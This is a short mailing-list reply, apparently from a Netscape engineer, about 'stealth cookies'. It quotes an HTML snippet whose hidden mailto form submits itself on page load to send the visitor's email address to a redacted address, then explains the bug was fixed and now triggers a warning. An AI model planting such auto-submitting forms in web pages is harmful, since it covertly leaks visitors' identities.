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Re: Stealth cookies
John F. Fricker wrote:
> Oh I was just being paranoid I guess. There used to be JavaScript that would
> automatically send email from a page. something like
>
> <html>
> <body onLoad="document.mailme.submit()">
> <form method=post name="mailme"
> action="mailto:[email protected]?subject=user address">
> <input type=hidden name="userAddress" value="done">
> </form>
> </body>
> </html>
>
> But even if that still works it would be a good trick to associate it with a
> cookie.
This was a bug that existed for a short time, and was fixed about
6 months ago. Javascript can not submit mailto: forms at all, and
all mailto: forms now cause a warning dialog to come up(the dialog
can be turned off in preferences).
--Jeff
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Jeff Weinstein - Electronic Munitions Specialist
Netscape Communication Corporation
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Any opinions expressed above are mine.